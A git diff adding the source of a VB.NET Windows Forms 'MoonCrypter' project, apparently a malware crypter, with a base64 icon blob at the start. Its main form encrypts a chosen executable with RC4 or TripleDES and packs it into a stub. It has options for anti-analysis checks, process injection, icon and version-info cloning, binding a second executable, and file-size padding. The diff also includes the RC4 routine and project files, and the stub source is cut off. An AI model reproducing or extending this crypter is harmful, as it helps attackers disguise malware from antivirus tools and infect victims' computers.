AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////////////////////////////////// + ////////////////////////////////////////////////////////////4AD///////////////// + /AAAB////////////////8AAAAB///////////////4AAAAAD//////////////4AAAAAAP///////// + ////wAAAAAAAf////////////wAAAAAAAB////////////wAAAAAAAAP///////////4AAAAAAAAA/// + ////////4AAAAAAAAAD//////////8AAAAAAAAAAf/////////+AAAAAAAAAAD/////////+AAAAAAAA + AAAP/////////AAAAAAAAAAAB/////////gAAAAAAAAAAAP////////wAAAAAAAAAAAB////////4AAA + AAAAAAAAAP///////8AAAAAAAAAAAAB///////+AAAAAAAAAAAAAP///////AAAAAAAAAAAAAB////// + /gAAAAAAAAAAAAAP//////wAAAAAAAAAAAAAB//////8AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAD + //////AAAAAAAAAAAAAAAf/////wAAAAAAAAAAAAAAH/////4AAAAAAAAAAAAAAA/////8AAAAAAAAAA + AAAAAH/////AAAAAAAAAAAAAAAB/////gAAAAAAAAAAAAAAAP////4AAAAAAAAAAAAAAAD////8AAAAA + AAAAAAAAAAAf////AAAAAAAAAAAAAAAAH////gAAAAAAAAAAAAAAAA////4AAAAAAAAAAAAAAAAP///8 + AAAAAAAAAAAAAAAAB////AAAAAAAAAAAAAAAAAf///wAAAAAAAAAAAAAAAAH///4AAAAAAAAAAAAAAAA + A///+AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAAD///wAAAAAAAAAAAAAAAAA///8AAAAAAAAAAA + AAAAAAH///AAAAAAAAAAAAAAAAAB///wAAAAAAAAAAAAAAAAAf//8AAAAAAAAAAAAAAAAAH//+AAAAAA + AAAAAAAAAAAA///gAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAD//+AAAAAAAAAAAAAAAAAA///g + AAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAD//+AAAAAAAAAAAAAAAAAA///gAAAAAAAAAAAAAAAA + AP//4AAAAAAAAAAAAAAAAAD//+AAAAAAAAAAAAAAAAAA///gAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAA + AAAAAAD//+AAAAAAAAAAAAAAAAAA///gAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAD//+AAAAAA + AAAAAAAAAAAA///gAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAD///AAAAAAAAAAAAAAAAAB///w + AAAAAAAAAAAAAAAAAf//8AAAAAAAAAAAAAAAAAH///AAAAAAAAAAAAAAAAAB///wAAAAAAAAAAAAAAAA + A///+AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAAD///6AAAAAAAAAAAAAAAAA////gAAAAAAAAAA + AAAAAAf///wAAAAAAAAAAAAAAAAH///9AAAAAAAAAAAAAAAAF////wAAAAAAAAAAAAAAAB////8AAAAA + AAAAAAAAAAAf////gAAAAAAAAAAAAAAAL////4AAAAAAAAAAAAAAAD////+AAAAAAAAAAAAAAAA///// + wAAAAAAAAAAAAAAAf////8AAAAAAAAAAAAAAAH/////gAAAAAAAAAAAAAAD/////4AAAAAAAAAAAAAAA + //////AAAAAAAAAAAAAAAf/////wAAAAAAAAAAAAAAH/////+AAAAAAAAAAAAAAD//////gAAAAAAAAA + AAAAA//////8AAAAAAAAAAAAAAf//////gAAAAAAAAAAAAAP//////4AAAAAAAAAAAAAD///////AAAA + AAAAAAAAAB///////4AAAAAAAAAAAAA///////+AAAAAAAAAAAAAf///////wAAAAAAAAAAAAH////// + /+AAAAAAAAAAAAD////////wAAAAAAAAAAAB////////+AAAAAAAAAAAA/////////wAAAAAAAAAAAf/ + ///////+AAAAAAAAAAAP/////////wAAAAAAAAAAH//////////AAAAAAAAAAH//////////4AAAAAAA + AAD///////////AAAAAAAAAB///////////8AAAAAAAAB////////////gAAAAAAAA////////////+A + AAAAAAA/////////////4AAAAAAA//////////////gAAAAAA///////////////AAAAAB////////// + /////+AAAAD////////////////8AAAP//////////////////gD//////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////ODUxODI= + + + \ No newline at end of file diff --git a/scode (MyCrypter/MyCrypter/Form1.vb b/scode (MyCrypter/MyCrypter/Form1.vb new file mode 100644 index 0000000..a3c3369 --- /dev/null +++ b/scode (MyCrypter/MyCrypter/Form1.vb @@ -0,0 +1,199 @@ +Imports System.IO +Imports System.Text + +Public Class Form1 + Dim ifile, res, enctype, antis, processZ, cfile, bfile, b1file, iSbinded As String + Dim output As String = Application.StartupPath + "\done.exe" + Dim Stub As String = Application.StartupPath + "\winini.exe" + + + Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnCtypt.Click + + If File.Exists(output) Then + Kill(output) + End If + + File.Copy(Application.StartupPath + "\res\winini.exe", Stub) + + If CheckAntis.Checked Then + antis = "true" + Else + antis = "false" + End If + + If CheckInject.Checked Then + processZ = TextEnc.Text + Else + processZ = "own" + End If + + If CheckIcon.Checked Then + Call IconIt(TextIcon.Text) + End If + If CheckClone.Checked Then + Call CloneIt(TextClone.Text) + End If + + Call cit() + + File.Delete(Stub) + + If CheckBytes.Checked Then + Dim file1 = File.OpenWrite(Application.StartupPath + "\done.exe") + Dim siza = file1.Seek(0, SeekOrigin.[End]) + Dim size = Convert.ToInt32(TextBytes.Text) + Dim bite As Decimal = size * 1048576 + While siza < bite + siza += 1 + file1.WriteByte(0) + End While + file1.Close() + End If + CreateObject("SAPI.SpVoice").Speak("File Crypted Succesfully dirty bastard") + MsgBox("File Crypted Succesfully", MsgBoxStyle.Information, "Success") + End Sub + + Private Sub IconIt(ByVal SourceIcon As String) + Shell(App_Path() & "res\\res.exe -addoverwrite " & Stub & ", " & Stub & ", " & SourceIcon & ", " & "icongroup, 1,0") + End Sub + Private Sub CloneIt(ByVal SourceFile As String) + Shell(App_Path() & "res\\res.exe -extract " & SourceFile & "," & App_Path() & "res\\info.res" & ",VERSIONINFO,,") + Shell(App_Path() & "res\\res.exe -delete " & Stub & "," & App_Path() + "res\\res.exe" & ",VERSIONINFO,,") + Shell(App_Path() & "res\\res.exe -addoverwrite " & Stub & "," & Stub & "," & App_Path() & "res\\info.res" & ",VERSIONINFO,1,") + End Sub + Public Function App_Path() As String + Return System.AppDomain.CurrentDomain.BaseDirectory() + End Function + + Private Sub cit() + Dim key As String = TextEnc.Text + Dim Cut As String = "/Assembly/" + 'get stub + FileOpen(1, Stub, OpenMode.Binary) + res = Space(LOF(1)) + FileGet(1, res) + FileClose(1) + + 'get file to crypt + FileOpen(1, (TextFile.Text), OpenMode.Binary) + ifile = Space(LOF(1)) + FileGet(1, ifile) + FileClose(1) + + 'get file to bind + If CheckBind.Checked Then + iSbinded = "yes" + FileOpen(1, (TextBind.Text), OpenMode.Binary) + bfile = Space(LOF(1)) + FileGet(1, bfile) + FileClose(1) + b1file = bfile + If CheckDES.Checked Then + b1file = _3des.Encrypt(bfile, key, True) + ElseIf CheckRC4.Checked Then + b1file = rc4.rc4(bfile, key) + End If + End If + + cfile = ifile + If CheckDES.Checked Then + enctype = "tripleDES" + cfile = _3des.Encrypt(ifile, key, True) + ElseIf CheckRC4.Checked Then + enctype = "rc4" + cfile = rc4.rc4(ifile, key) + End If + + FileOpen(1, output, OpenMode.Binary) + FilePut(1, res) + FilePut(1, Cut) + FilePut(1, cfile) + FilePut(1, Cut) + FilePut(1, key) + FilePut(1, Cut) + FilePut(1, enctype) + FilePut(1, Cut) + FilePut(1, antis) + FilePut(1, Cut) + FilePut(1, processZ) + FilePut(1, Cut) + FilePut(1, iSbinded) + FilePut(1, Cut) + FilePut(1, b1file) + FilePut(1, Cut) + FileClose(1) + End Sub + + + Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnBrowse.Click + With OpenFileDialog1 + .FileName = "" + .Filter = "Executable(*.exe)|*.exe" + .ShowDialog() + TextFile.Text = .FileName + ifile = TextFile.Text + End With + End Sub + + Private Sub BtnIcon_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnIcon.Click + With OpenFileDialog1 + .FileName = "" + .Filter = "Icons(*.ico)|*.ico" + .ShowDialog() + TextIcon.Text = .FileName + End With + End Sub + + Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + Dim myfkey As String = GetRandom.ToString + TextEnc.Text = myfkey + CreateObject("SAPI.SpVoice").Speak("Welcome to moon crypter motherfucker") + End Sub + + Public Function RandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer + Dim random As New Random() + Return random.Next(min, max) + End Function + + Public Function RandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String + Dim builder As New StringBuilder() + Dim random As New Random() + Dim ch As Char + Dim i As Integer + For i = 0 To size - 1 + ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65))) + builder.Append(ch) + Next i + If lowerCase Then + Return builder.ToString().ToLower() + End If + Return builder.ToString() + End Function + + Public Function GetRandom() As String + Dim builder As New StringBuilder() + builder.Append(RandomString(4, True)) + builder.Append(RandomNumber(1000, 9999)) + builder.Append(RandomString(2, False)) + Return builder.ToString() + End Function + + + Private Sub BtnClone_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnClone.Click + With OpenFileDialog1 + .FileName = "" + .Filter = "Executable(*.exe)|*.exe" + .ShowDialog() + TextClone.Text = .FileName + End With + End Sub + + Private Sub BtnBind_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnBind.Click + With OpenFileDialog1 + .FileName = "" + .Filter = "Executable(*.exe)|*.exe" + .ShowDialog() + TextBind.Text = .FileName + End With + End Sub +End Class diff --git a/scode (MyCrypter/MyCrypter/My Project/Application.Designer.vb b/scode (MyCrypter/MyCrypter/My Project/Application.Designer.vb new file mode 100644 index 0000000..a8fee67 --- /dev/null +++ b/scode (MyCrypter/MyCrypter/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.MoonCrypter.Form1 + End Sub + End Class +End Namespace diff --git a/scode (MyCrypter/MyCrypter/My Project/Application.myapp b/scode (MyCrypter/MyCrypter/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (MyCrypter/MyCrypter/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (MyCrypter/MyCrypter/My Project/AssemblyInfo.vb b/scode (MyCrypter/MyCrypter/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..f867e75 --- /dev/null +++ b/scode (MyCrypter/MyCrypter/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (MyCrypter/MyCrypter/My Project/Resources.Designer.vb b/scode (MyCrypter/MyCrypter/My Project/Resources.Designer.vb new file mode 100644 index 0000000..c8615d9 --- /dev/null +++ b/scode (MyCrypter/MyCrypter/My Project/Resources.Designer.vb @@ -0,0 +1,63 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("MoonCrypter.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/scode (MyCrypter/MyCrypter/My Project/Resources.resx b/scode (MyCrypter/MyCrypter/My Project/Resources.resx new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ b/scode (MyCrypter/MyCrypter/My Project/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (MyCrypter/MyCrypter/My Project/Settings.Designer.vb b/scode (MyCrypter/MyCrypter/My Project/Settings.Designer.vb new file mode 100644 index 0000000..a8b02f6 --- /dev/null +++ b/scode (MyCrypter/MyCrypter/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.261 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.MoonCrypter.My.MySettings + Get + Return Global.MoonCrypter.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (MyCrypter/MyCrypter/My Project/Settings.settings b/scode (MyCrypter/MyCrypter/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (MyCrypter/MyCrypter/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (MyCrypter/MyCrypter/MyCrypter.vbproj b/scode (MyCrypter/MyCrypter/MyCrypter.vbproj new file mode 100644 index 0000000..c609f71 --- /dev/null +++ b/scode (MyCrypter/MyCrypter/MyCrypter.vbproj @@ -0,0 +1,123 @@ + + + + Debug + AnyCPU + 9.0.30729 + 2.0 + {91A1671A-D9C2-4B09-9784-1D7D5CAD1056} + WinExe + MoonCrypter.My.MyApplication + MoonCrypter + MoonCrypter + 512 + WindowsForms + v4.0 + On + Binary + Off + On + 31.ico + + + + + 3.5 + + + true + full + true + true + bin\Debug\ + MoonCrypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + pdbonly + false + true + true + bin\Release\ + MoonCrypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355 + + + + + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + + Form1.vb + Designer + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + \ No newline at end of file diff --git a/scode (MyCrypter/MyCrypter/Solar-System-Moon-3D-screensaver.jpg b/scode (MyCrypter/MyCrypter/Solar-System-Moon-3D-screensaver.jpg new file mode 100644 index 0000000..010325c Binary files /dev/null and b/scode (MyCrypter/MyCrypter/Solar-System-Moon-3D-screensaver.jpg differ diff --git a/scode (MyCrypter/MyCrypter/rc4.vb b/scode (MyCrypter/MyCrypter/rc4.vb new file mode 100644 index 0000000..81a9262 --- /dev/null +++ b/scode (MyCrypter/MyCrypter/rc4.vb @@ -0,0 +1,53 @@ +Imports System.Text + +Public Class rc4 + Public Shared Function rc4(ByVal message As String, ByVal password As String) As String + Dim i As Integer = 0 + Dim j As Integer = 0 + Dim cipher As New StringBuilder + Dim returnCipher As String = String.Empty + Dim sbox As Integer() = New Integer(256) {} + Dim key As Integer() = New Integer(256) {} + Dim intLength As Integer = password.Length + Dim a As Integer = 0 + While a <= 255 + Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0)) + + key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp) + sbox(a) = a + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + Dim x As Integer = 0 + Dim b As Integer = 0 + While b <= 255 + x = (x + sbox(b) + key(b)) Mod 256 + Dim tempSwap As Integer = sbox(b) + sbox(b) = sbox(x) + sbox(x) = tempSwap + System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1) + End While + + a = 1 + + While a <= message.Length + Dim itmp As Integer = 0 + i = (i + 1) Mod 256 + j = (j + sbox(i)) Mod 256 + itmp = sbox(i) + sbox(i) = sbox(j) + sbox(j) = itmp + Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256) + Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0) + itmp = Asc(ctmp) + Dim cipherby As Integer = itmp Xor k + cipher.Append(Chr(cipherby)) + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + + returnCipher = cipher.ToString + cipher.Length = 0 + + Return returnCipher + + End Function +End Class diff --git a/scode (MyCrypter/winini/3des.vb b/scode (MyCrypter/winini/3des.vb new file mode 100644 index 0000000..ec89034 --- /dev/null +++ b/scode (MyCrypter/winini/3des.vb @@ -0,0 +1,26 @@ +Imports System.Text +Imports System.Security.Cryptography + 